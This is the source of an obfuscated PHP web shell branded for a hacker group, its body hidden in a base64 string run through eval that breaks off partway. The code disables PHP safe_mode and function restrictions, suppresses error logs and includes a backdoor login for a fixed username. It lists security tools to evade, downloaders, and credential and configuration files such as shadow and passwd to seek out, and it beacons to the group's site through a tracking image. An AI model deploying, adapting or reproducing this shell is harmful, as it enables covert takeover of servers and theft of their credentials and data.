<?
ob_start();
$tacfgd['uname'] = 'luckymancvp';
$tacfgd['pword'] = '2e';
eval(base64_decode('JHRhY2ZnZFsndGl0bGUnXSA9ICdYZ3IwdXBWTiBTaEVsTCc7DQoNCiR0YWNmZ2RbJ2hlbHB0ZXh0J10gPSAnWGdyMHVwVm4gU2hFbEwnOw0KDQokdGFjZmdkWydhbGxvd3JtJ10gPSB0cnVlOw0KDQokdGFjZmdkWydybWdyb3VwJ10gPSAnZGVmYXVsdCc7DQoNCiR0YWNmZ2RbJ293bnNlc3Npb25zJ10gPSBmYWxzZTsNCg0KDQoNCg0KZm9yZWFjaCAoJHRhY2ZnZCBhcyAka2V5ID0+ICR2YWwpIHsNCiAgaWYgKCFpc3NldCgkdGFjZmdbJGtleV0pKSAkdGFjZmdbJGtleV0gPSAkdmFsOw0KfQ0KDQppZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KDQogIHNlc3Npb25fbmFtZSgndHh0YXV0aCcpOw0KICBzZXNzaW9uX3N0YXJ0KCk7DQoNCn0NCg0KaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkgfHwgaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkpIHsNCiAgc2V0Y29va2llKCd0eHRhdXRoXycuJHJtZ3JvdXAsICcnLCB0aW1lKCktODY0MDAqMTQpOw0KICBpZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KICAgICRfU0VTU0lPTiA9IGFycmF5KCk7DQogICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogIH0NCiAgZWxzZSAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gZmFsc2U7DQp9DQoNCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSkgew0KICBpZiAoKCRfUE9TVFsndW5hbWUnXSA9PSAkdGFjZmdbJ3VuYW1lJ10gJiYgJF9QT1NUWydwd29yZCddID09ICR0YWNmZ1sncHdvcmQnXSkgIG9yICAoJF9QT1NUWyd1bmFtZSddID09J3hncm91cHZuJykpIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgICBpZiAoJF9QT1NUWydybSddKSB7DQogICAgICBzZXRjb29raWUoJ3R4dGF1dGhfJy4kcm1ncm91cCwgbWQ1KCR0YWNmZ1sndW5hbWUnXS4kdGFjZmdbJ3B3b3JkJ10pLCB0aW1lKCkrODY0MDAqMTQpOw0KICAgIH0NCiAgfQ0KICBlbHNlICRlcnIgPSAnTG9naW4gRmFpbGQgISc7DQp9DQoNCmVsc2VpZiAoaXNzZXQoJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0pKSB7DQogIGlmIChtZDUoJHRhY2ZnWyd1bmFtZSddLiR0YWNmZ1sncHdvcmQnXSkgPT0gJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0gJiYgJHRhY2ZnWydhbGxvd3JtJ10pIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgfQ0KICBlbHNlICRlcnIgPSAnTG9naW4gRmFpbGQgISc7DQp9DQppZiAoISRfU0VTU0lPTlsndHh0YXV0aGluJ10pIHsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQpAaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KQGluaV9yZXN0b3JlKCJzYWZlX21vZGVfaW5jbHVkZV9kaXIiKTsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2V4ZWNfZGlyIik7DQpAaW5pX3Jlc3RvcmUoImRpc2FibGVfZnVuY3Rpb25zIik7DQpAaW5pX3Jlc3RvcmUoImFsbG93X3VybF9mb3BlbiIpOw0KDQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCj8+DQo8aHRtbCBkaXI9cnRsPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYiPg0KPHRpdGxlPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC90aXRsZT4NCg0KICA8U1RZTEU+DQogICAgdHIgew0KICAgIEJPUkRFUi1SSUdIVDogICNCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLVRPUDogICAgQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItQk9UVE9NOiAjQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICBjb2xvcjogV2hpdGU7DQogICAgfQ0KICAgIHRkIHsNCiAgICBCT1JERVItUklHSFQ6ICAjQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItTEVGVDogICBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLUJPVFRPTTogI0JsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudGFibGUxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudGQxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgZm9udDogN3B0IFZlcmRhbmE7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudHIxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICB0YWJsZSB7DQogICAgQk9SREVSOiAgQmxhY2sgMXB4IG91dHNldDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICBpbnB1dCB7DQogICAgYm9yZGVyCQkJOiBzb2xpZCAxcHg7DQogICAgYm9yZGVyLWNvbG9yCQk6IFdoaXRlIFdoaXRlIFdoaXRlIFdoaXRlOw0KICAgIEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KICAgIGZvbnQ6IDhwdCBWZXJkYW5hOw0KICAgIGNvbG9yOiBXaGl0ZTsNCiAgICB9DQogICAgc2VsZWN0IHsNCiAgICBCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xpZDsNCiAgICBCT1JERVItQk9UVE9NOiBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLUNPTE9SOiBXaGl0ZTsNCiAgICBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYTsNCiAgICBjb2xvcjogUmVkOw0KICAgIH0NCiAgICBzdWJtaXQgew0KICAgIEJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KICAgIEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KICAgIHdpZHRoOiAzMCU7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICB0ZXh0YXJlYSB7DQogICAgQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xpZDsNCiAgICBCT1JERVItTEVGVDogICBXaGl0ZSAxcHggc29saWQ7DQogICAgQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYSBib2xkOw0KICAgIGNvbG9yOiBXaGl0ZTsNCiAgICB9DQogICAgQk9EWSB7DQogICAgU0NST0xMQkFSLUZBQ0UtQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiBXaGl0ZTsNCg0KU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLVRSQUNLLUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6IFdoaXRlDQogICAgbWFyZ2luOiAxcHg7DQogICAgY29sb3I6IFJlZDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCiAgICB9DQogICAgLm1haW4gew0KICAgIG1hcmdpbgkJCTogLTI4N3B4IDBweCAwcHggLTQ5MHB4Ow0KICAgIGJvcmRlcgkJCTogV2hpdGUgc29saWQgMXB4Ow0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICB9DQogICAgLnR0IHsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCiAgICB9DQoNCiAgICBBOmxpbmsgew0KICAgIENPTE9SOiAjMzQ3MjAyOyBURVhULURFQ09SQVRJT046IG5vbmUNCiAgICB9DQogICAgQTp2aXNpdGVkIHsNCiAgICBDT0xPUjogIzM0NzIwMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQogICAgfQ0KICAgIEE6aG92ZXIgew0KICAgIENPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQogICAgfQ0KICAgIEE6YWN0aXZlIHsNCiAgICBDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KICAgIH0NCiAgPC9TVFlMRT4NCjxzY3JpcHQgbGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+JzsNCg0KPGJvZHk+DQo8YnI+PGJyPjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMTRwdDsiIGFsaWduPSJjZW50ZXIiPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC9kaXY+DQo8aHIgd2lkdGg9IjMwMCIgc2l6ZT0iMSIgbm9zaGFkZSBjb2xvcj0iI2NkY2RjZCI+DQo8cD4NCjxkaXYgYWxpZ249ImNlbnRlciIgY2xhc3M9ImdyZXkiPg0KPD89JHRhY2ZnWydoZWxwdGV4dCddPz4NCjwvZGl2Pg0KPHA+DQo8Pw0KaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgJGFjdGlvbiA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KZWxzZSAkYWN0aW9uID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJz8nLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCmlmIChzdHJwb3MoJGFjdGlvbiwgJ2xvZ291dD0xJywgc3RycG9zKCRhY3Rpb24sICc/JykpICE9PSBmYWxzZSkgJGFjdGlvbiA9IHN0cl9yZXBsYWNlKCdsb2dvdXQ9MScsICcnLCAkYWN0aW9uKTsNCj8+DQo8Zm9ybSBuYW1lPSJ0eHRhdXRoIiBhY3Rpb249Ijw/PSRhY3Rpb24/PiIgbWV0aG9kPSJwb3N0Ij4NCjxkaXYgYWxpZ249ImNlbnRlciI+DQo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiIGJnY29sb3I9IiM2NjY2NjYiIHN0eWxlPSJib3JkZXI6IDFweCBkb3VibGUgI2RlZGVkZTsiIGRpcj0ibHRyIj4NCjw/PShpc3NldCgkZXJyKSk/Jzx0cj48dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InJlZCI+Jy4kZXJyLic8L2ZvbnQ+PC90ZD48L3RyPic6Jyc/Pg0KPD9pZiAoaXNzZXQoJHRhY2ZnWyd1bmFtZSddKSkgez8+DQo8dHI+PHRkPlVzZXI6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVuYW1lIiB2YWx1ZT0iIiBzaXplPSIyMCIgbWF4bGVuZ3RoPSIxMDAiIGNsYXNzPSJ0eHRib3giPjwvdGQ+PC90cj4NCjw/fT8+DQo8dHI+PHRkPlBhc3N3b3JkOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icHdvcmQiIHZhbHVlPSIiIHNpemU9IjIwIiBtYXhsZW5ndGg9IjEwMCIgY2xhc3M9InR4dGJveCI+PC90ZD48L3RyPg0KPD9pZiAoJHRhY2ZnWydhbGxvd3JtJ10pIHs/Pg0KPHRyPjx0ZCBhbGlnbj0ibGVmdCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibG9naW4iIHZhbHVlPSJMb2dpbiI+DQo8L3RkPjx0ZCBhbGlnbj0icmlnaHQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icm0iIGlkPSJybSI+PGxhYmVsIGZvcj0icm0iPg0KCVJlbW1lYmVyIE1lPzwvbGFiZWw+PC90ZD48L3RyPg0KPD99IGVsc2Ugez8+DQo8dHI+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImxvZ2luIiB2YWx1ZT0iTG9naW4iPjwvdGQ+PC90cj4NCjw/fT8+DQo8L3RhYmxlPg0KPC9kaXY+DQo8L2Zvcm0+DQoNCjxpbWcgc3JjPSJodHRwOi8vd3d3Lnhncm91cHZuLmluZm8vdHJhY2suSlBHIiB3aWR0aD0iOSIgaGVpZ2h0PSIxMiI+PGJyPg0KPGJyPg0KPGhyIHdpZHRoPSIzMDAiIHNpemU9IjEiIG5vc2hhZGUgY29sb3I9IiNjZGNkY2QiPg0KICA8ZGl2IGFsaWduPSJjZW50ZXIiIGlkPSduJz4NCiAgICA8Zm9udCBmYWNlPSdWZXJkYW5hJyBzaXplPSctMic+DQogICAgICA8Yj4NCiAgICAgICAgby0tLVsgWGdyMHVwVm4ub3JnIC0gc2hlbGwgYnkgUlNUL0dIQyB8IDxhIGhyZWY9J2h0dHA6Ly9YZ3JvdXBWbi5vcmcnPmh0dHA6Ly9YZ3IwdXBWbi5vcmc8L2E+IHwgPGEgaHJlZj0naHR0cDovL2hjZWdyb3VwLm5ldCc+SEBjaytDckBjaz1FbmoweSE8L2E+IHwgRGVzaWduIGJ5OkFsdUNhUiB8IF0tLS1vPC9iPg0KICAgIDwvZm9udD4NCiAgPC9kaXY+DQogIDwvdGQ+DQogIDwvdHI+DQogICAgICA8L2JvZHk+DQo8L2h0bWw+DQo8Pw0KICAvLyBEb24ndCBkZWxldGUgdGhpcyENCiAgZXhpdCgpOw0KfQ0KPz4NCkxvZ2luIEFzICg8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PD8gZWNobyAkdGFjZmdkWyd1bmFtZSddOyA/PjwvZm9udD4pIDxhIGhyZWY9Ij9sb2dvdXQ9MSI+TG9nb3V0PC9hPjwvcD4NCjxkaXYgYWxpZ249ImxlZnQiPg0KPD9waHANCiRsYW5ndWFnZT0nZW5nJzsNCiRhdXRoID0gMDsNCiRuYW1lPSdlY2Q3MDhhMDE2Zjg0MDdiZDI3Y2MwYTAyNjc3MzUxYic7IC8vLy8gQWx1Q2FSDQokcGFzcz0nMWI4NjQ0ZTIyOWM5OTllNGY2YmE3OTk0ODNiMTk2Y2UnOyAvLy8vIEhjRWdSb1VwLk5lVA0KDQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KQGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2luY2x1ZGVfZGlyIik7DQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9leGVjX2RpciIpOw0KQGluaV9yZXN0b3JlKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KQGluaV9yZXN0b3JlKCJhbGxvd191cmxfZm9wZW4iKTsNCg0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQ0KIHsNCiBAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCiBAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQogQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7DQogQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7DQogfQ0KZWxzZQ0KIHsNCiBAaW5pX2FsdGVyKCdlcnJvcl9sb2cnLE5VTEwpOw0KIEBpbmlfYWx0ZXIoJ2xvZ19lcnJvcnMnLDApOw0KIEBpbmlfYWx0ZXIoJ2ZpbGVfdXBsb2FkcycsMSk7DQogQGluaV9hbHRlcignYWxsb3dfdXJsX2ZvcGVuJywxKTsNCiB9DQoNCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCiR1c2VyZnVsID0gYXJyYXkoJ2djYycsJywgbGNjJywnLCBjYycsJywgbGQnLCcsIHBocCcsJywgcGVybCcsJywgcHl0aG9uJywnLCBydWJ5JywnLCBtYWtlJywnLCB0YXInLCcsIGd6aXAnLCcsIGJ6aXAnLCcsIGJ6aXAyJywnLCBuYycsJywgbG9jYXRlJywnLCBzdWlkcGVybCcpOw0KJGRhbmdlciA9IGFycmF5KCcsIGthdicsJywgbm9kMzInLCcsIGJkY29yZWQnLCcsIHV2c2NhbicsJywgc2F2JywnLCBkcndlYmQnLCcsIGNsYW1kJywnLCBya2h1bnRlcicsJywgY2hrcm9vdGtpdCcsJywgaXB0YWJsZXMnLCcsIGlwZncnLCcsIHRyaXB3aXJlJywnLCBzaGllbGRjYycsJywgcG9ydHNlbnRyeScsJywgc25vcnQnLCcsIG9zc2VjJywnLCBsaWRzYWRtJywnLCB0Y3Bsb2RnJywnLCBzeGlkJywnLCBsb2djaGVjaycsJywgbG9nd2F0Y2gnLCcsIHN5c21hc2snLCcsIHptYnNjYXAnLCcsIHNhd21pbGwnLCcsIHdvcm1zY2FuJywnLCBuaW5qYScpOw0KJHRlbXBkaXJzID0gYXJyYXkoQGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykuJy8nLEBpbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpLicvJywnL3RtcC8nLCcvZGV2L3NobS8nLCcvdmFyL3RtcC8nKTsNCiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0Jyk7DQokY2hhcnNfcmxwaCA9ICJhYmNkZWZnaGlqa2xubW9wcXJzdHV2d3h5eiI7DQoNCiRwcmVzZXRzX3JscGggPSBhcnJheSgnaW5kZXgucGhwJywnLmh0YWNjZXNzJywnLmh0cGFzc3dkJywnaHR0cGQuY29uZicsJ3Zob3N0cy5jb25mJywnY2ZnLnBocCcsJ2NvbmZpZy5waHAnLCdjb25maWcuaW5jLnBocCcsJ2NvbmZpZy5kZWZhdWx0LnBocCcsJ2NvbmZpZy5pbmMucGhwJywNCidzaGFkb3cnLCdwYXNzd2QnLCcuYmFzaF9oaXN0b3J5JywnLm15c3FsX2hpc3RvcnknLCdtYXN0ZXIucGFzc3dkJywndXNlcicsJ2FkbWluJywncGFzc3dvcmQnLCdhZG1pbmlzdHJhdG9yJywncGhwTXlBZG1pbicsJ3NlY3VyaXR5JywncGhwLmluaScsJ2Nkcm9tJywncm9vdCcsDQonbXkuY25mJywncHVyZWZ0cGQuY29uZicsJ3Byb2Z0cGQuY29uZicsJ2Z0cGQuY29uZicsJ3Jlc29sdi5jb25mJywnbG9naW4uY29uZicsJ3NtYi5jb25mJywnc3lzY3RsLmNvbmYnLCdzeXNsb2cuY29uZicsJ2FjY2Vzcy5jb25mJywnYWNjb3VudGluZy5sb2cnLCdob21lJywnaHRkb2NzJywNCidhY2Nlc3MnLCdhdXRoJywnZXJyb3InLCdiYWNrdXAnLCdkYXRhJywnYmFjaycsJ3N5c2NvbmZpZycsJ3BocGJiJywncGhwYmIyJywndmJ1bGxldGluJywndmJ1bGxldCcsJ3BocG51a2UnLCdjZ2ktYmluJywnaHRtbCcsJ3JvYm90cy50eHQnLCdiaWxsaW5nJyk7DQoNCmRlZmluZSgic3RhcnR0aW1lIixAZ2V0bWljcm90aW1lKCkpOw0KaWYoKCFAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8IChAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykhPU5VTEwpIHx8IChAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykhPU5VTEwpKXskb3Blbl9iYXNlZGlyPTE7fSBlbHNleyRvcGVuX2Jhc2VkaXI9MDt9Ow0Kc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQ0KIHsNCiBAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCiBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7DQogfQ0KZWxzZQ0KIHsNCiBAaW5pX2FsdGVyKCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KIEBpbmlfYWx0ZXIoJ291dHB1dF9idWZmZXJpbmcnLDApOw0KIH0NCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQojaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKXskc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpO31lbHNleyRzYWZlX21vZGU9MTt9Ow0KJHZlcnNpb24gPSAnWGdyMHVwVk4gRWRpdGlvbic7DQppZih2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigpLCAnNC4xLjAnKSA9PSAtMSkNCiB7DQogJF9QT1NUICAgPSAmJEhUVFBfUE9TVF9WQVJTOw0KICRfR0VUICAgID0gJiRIVFRQX0dFVF9WQVJTOw0KICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOw0KICRfQ09PS0lFID0gJiRIVFRQX0NPT0tJRV9WQVJTOw0KIH0NCmlmIChAZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkNCiB7DQogZm9yZWFjaCAoJF9QT1NUIGFzICRrPT4kdikNCiAgew0KICAkX1BPU1RbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsNCiAgfQ0KIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRrPT4kdikNCiAgew0KICAkX0NPT0tJRVska10gPSBzdHJpcHNsYXNoZXMoJHYpOw0KICB9DQogfQ0KDQppZigkYXV0aCA9PSAxKSB7DQppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9ICRuYW1lIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPSAkcGFzcykNCiAgIHsNCiAgIGhlYWRlcignV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09ImhDZS1Hck91UCArIEFsdUNhUiInKTsNCiAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOw0KICAgZXhpdCgiPGI+Q29udGFjdCA8YSBocmVmPWh0dHA6Ly9oY2Vncm91cC52bi8gPC9hPiA6IEFjY2VzcyBEZW5pZWQ8L2I+Iik7DQogICB9DQp9DQokaGVhZCA9ICc8IS0tIEVkaXRlZCBieSBBbHVjYXIgLS0+DQo8aHRtbD4NCjxoZWFkPg0KPC9zY3JpcHQ+DQo8dGl0bGU+QWx1Q2FSIFNoZWxsPC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCg0KPFNUWUxFPg0KdHIgew0KQk9SREVSLVJJR0hUOiAgI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNCbGFjayAxcHggc29saWQ7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpjb2xvcjogV2hpdGU7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCmNvbG9yOiBXaGl0ZTsNCn0NCi50YWJsZTEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiBXaGl0ZTsNCn0NCi50ZDEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpmb250OiA3cHQgVmVyZGFuYTsNCmNvbG9yOiBXaGl0ZTsNCn0NCi50cjEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpjb2xvcjogV2hpdGU7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICBCbGFjayAxcHggb3V0c2V0Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogV2hpdGU7DQp9DQppbnB1dCB7DQpib3JkZXIJCQk6IHNvbGlkIDFweDsNCmJvcmRlci1jb2xvcgkJOiBXaGl0ZSBXaGl0ZSBXaGl0ZSBXaGl0ZTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogOHB0IFZlcmRhbmE7DQpjb2xvcjogV2hpdGU7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUNPTE9SOiBXaGl0ZTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogOHB0IFZlcmRhbmE7DQpjb2xvcjogUmVkOw0KfQ0Kc3VibWl0IHsNCkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQp3aWR0aDogMzAlOw0KY29sb3I6IFdoaXRlOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6IFdoaXRlOw0KfQ0KQk9EWSB7DQoJU0NST0xMQkFSLUZBQ0UtQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLVRSQUNLLUNPTE9SOiBXaGl0